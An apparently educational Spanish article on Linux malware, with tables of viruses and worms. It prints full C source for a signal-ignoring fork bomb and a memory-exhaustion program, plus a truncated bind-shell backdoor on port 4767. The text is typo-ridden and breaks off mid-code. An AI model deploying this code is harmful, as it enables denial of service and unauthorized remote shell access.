Las posibilidad  de que una maquina con sistema operativo  LINUX se infecte es escasa, pero esto no implica que no exista códigos maliciosos para Linux .

Para que logre propagarse tiene que cumplir que el código del malware logre ejecutarse, en lo general tiene que ser copiado en un ejecutable corrupto desde otro sistema. Independiente de la distribución de linux lo normal seria al momento de bajar un programa este sea por un repositorio o por una URL donde se encuentra el software el cual el usuario quiere bajar. En lugar de bajar el archivo ejecutable el usuario baja el programa de un repositorio oficial, pero la posibilidad que de estos sitios oficiales puedan contener malware es remota, pero posible .

Una vez que la máquina baja el programa con el código malicioso  y se infecta la segunda etapa es la propagación,  éste debería usarse como una plataforma de distribución para aplicaciones pre compiladas, lo cual es muy poco probable.  El echo de tratar infectar una maquina con Linux por intermedio de un fichero ejecutable,  la posibilidad de lograr su objetivo es muy poco probable o escasa .

La propagación dentro de una maquina una aplicación corrupta solo puede extenderse a los archivos que el usuario ejecuta y tenga permisos de escritura.

El usuario de linux en lo general el usuario solo trabaja como root para operaciones muy especificas.

 

 

La instalación de una aplicación con Set-UID root el riesgo de infectarse es bastante pequeño .

Cuando un usuario normal ejecute el programa infectado solo afectará a los ficheros que pertenezcan a este usuario .

En la siguiente tabla nos indica los virus mas conocidos para linux

 

Nombre

Bomba logica

                                           Notas

Bliss

Aparente mente inactiva

Desinfeccion automatica del fichero ejecutable si se llama con la opcion -bliss-disinfect-plase

Diesel

Ninguna

 

Kagob

Ninguna

Utiliza un fichero temporal para ejecutar el programa original infectado

Satyr

Ninguna

 

Vit4096

Ninguna

Solo infecta los ficheros en el directorio actual

winter

Ninguna

El código del virus ocupa 341 bytes solo infecta los ficheros del directorio actual

winux

Ninguna

Contiene dos códigos diferentes y puede infectar tanto los ficheros de windows como los ficheros  ELF linux pero no es capaz de explotar otras particiones que en la que esta alojado lo que reduce su propagación

siendo un virus inofensivo.

La relevancia esta en el concepto de que un código malicioso podría saltar de una particion a otra invadir una red heterogenea usando un servidor Samba

 

 

 

Bombas lógicas

 

El daño que pueda ocasionar las bombas lógicas es relativo, dependerá por una parte de como el usuario este logeado y cuales son sus privilegios.  Es relativamente extraño en lo particular que un usuario de Linux se loge como root en todas las cesiones .

Por otra parte, Linux, siempre mejora su sistema de seguridad entregando mejores distribuciones

Como ejemplo presentaremos el siguiente programa,  el cual esta escrito en C y cuyo propósito es crear un excesivo consumo de los recursos de la maquina logrando hacerlo inoperativo  cabe señalar que este programa es aniquilado de forma automática por el mecanismo de gestión de memoria virtual:

  si el numero por usuarios no esta limitado este “consumirá” todas las entradas disponibles de tablas de procesos y evitara cualquier conexión que intente matarlo”

#include <signal.h>

#include <unistd.h>

int

main (void)

{

int i;

for (i = 0; i < NSIG; i ++)

signal (i, SIG_IGN);

while (1)

fork ();

}

los limites que se pueden llegar a establecer para los usuario a ( con la llamada de sistema setrimit() y la función del Shell ultimit()permite acortar la vida de este tipo de programas, pero solo actúan tras un tiempo en el que el sistema no esta disponible este mismo orden un programa.

El siguiente programa utiliza toda la memoria disponible y entra en un bluce perturbando otros procesos

#include <stdlib.h>

#define LG 1024

int

main (void) {

char * buffer;

while ((buffer = malloc (LG)) != NULL)

memset (buffer, 0, LG);

while (1)

;

}

Si una maquina esta expuesta a una bomba lógica esta estará escondida en el Scripts “configure” el cual se llamara durante "./configure; make"

Caballos de toya

Dentro de la distribución de los software libres, la posibilidad de bajar un programa con un troyano es muy escaso, si lo bajamos de los repositorios conocidos seria relativamente fácil detectar una amenaza de éstas, pero esto no implica que sea un motivo de seguridad, dado que en la web encontramos muchas paginas web las cuales no son sitios oficiales que podrían contener un código malicioso emulando el modelo Maa

 

Gusanos en Linux

Los primeros gusanos fueron creados en 1988  los cuales explotan  la vulnerabilidad de los servidores de red  para las estaciones de trabajo

Nombre

vulnarebilidades

notas

Lion(1i0n)

bind

Instala una puerta trasera(puerto TCP 10008) y root-kit en la maquina infectada la cual envía información del sistema a una dirección de correo en china

Ramen

Lpr,nfs,wu-ftpd

Cambia los ficheros index.html que encuentra

Adore(Red Worm)

Bind,Ipr,rpc,wu,ftpd

Instala una puerta trasera en el sistema y envía información a direcciones de correo en china y USA instala una versión modificada de ps para esconder sus procesos

Cheese

bind

Worm  entra como un supuesto programa chequea y elimina las puertas abiertas

 

Puertas traseras

Dentro de las amenazas del malware esta es una de las más relevantes que no solo afecta a Microsoft también al software libre.

Un ejemplo de esto es el siguiente programa que  corresponde al libro “programmation systeme en C sosus linux.

EL  usa el mecanismo de un pseudo-terminal cuando se ejecuta abre un servicio TCP/IP en el puerto por defecto 4767 acedera a un shell

Cabe mencionar que este programa sean borrado los comentarios y parte del codigo es solo como ejemplo

#define _GNU_SOURCE 500

#include <fcntl.h>

#include <stdio.h>

#include <stdlib.h>

#include <termios.h>

#include <unistd.h>

#include <netinet/in.h>

#include <sys/socket.h>

#define ADRESSE_BACKDOOR INADDR_ANY

#define PORT_BACKDOOR 4767

int

main (void)

{

int sock;

int sockopt;

struct sockaddr_in adresse; /* dirección */

socklen_t longueur; /* longitud */

int sock2;

int pty_maitre; /* pty_maestro */

int pty_esclave; /* pty_esclavo */

char * nom_pty; /* nombre_pty */

struct termios termios;

char * args [2] = { "/bin/sh", NULL };

fd_set set;

char buffer [4096];

int n;

sock = socket (AF_INET, SOCK_STREAM, 0);

sockopt = 1;

setsockopt (sock, SOL_SOCKET, SO_REUSEADDR, & sockopt,

sizeof(sockopt));

memset (& adresse, 0, sizeof (struct sockaddr));

adresse . sin_family = AF_INET;

adresse . sin_addr . s_addr = htonl (ADRESSE_BACKDOOR);

adresse . sin_port = htons (PORT_BACKDOOR);

if (bind (sock, (struct sockaddr *) & adresse, sizeof (adresse)))

exit (1);

listen (sock, 5);

while (1) {

longueur = sizeof (struct sockaddr_in);

if ((sock2 = accept (sock, & adresse, & longueur)) < 0)

continue;

if (fork () == 0) break;

close (sock2);

}

close (sock);

if ((pty_maitre = getpt()) < 0) exit (1);

grantpt (pty_maitre);

unlockpt (pty_maitre);

nom_pty = ptsname (pty_maitre);

tcgetattr (STDIN_FILENO, & termios);

if (fork () == 0) {

/* Hijo: ejecución de shell en el

pseudo-TTY esclavo */

 

close (pty_maitre);

setsid();

pty_esclave = open (nom_pty, O_RDWR);

tcsetattr (pty_esclave, TCSANOW, & termios);

dup2 (pty_esclave, STDIN_FILENO);

dup2 (pty_esclave, STDOUT_FILENO);

dup2 (pty_esclave, STDERR_FILENO);

96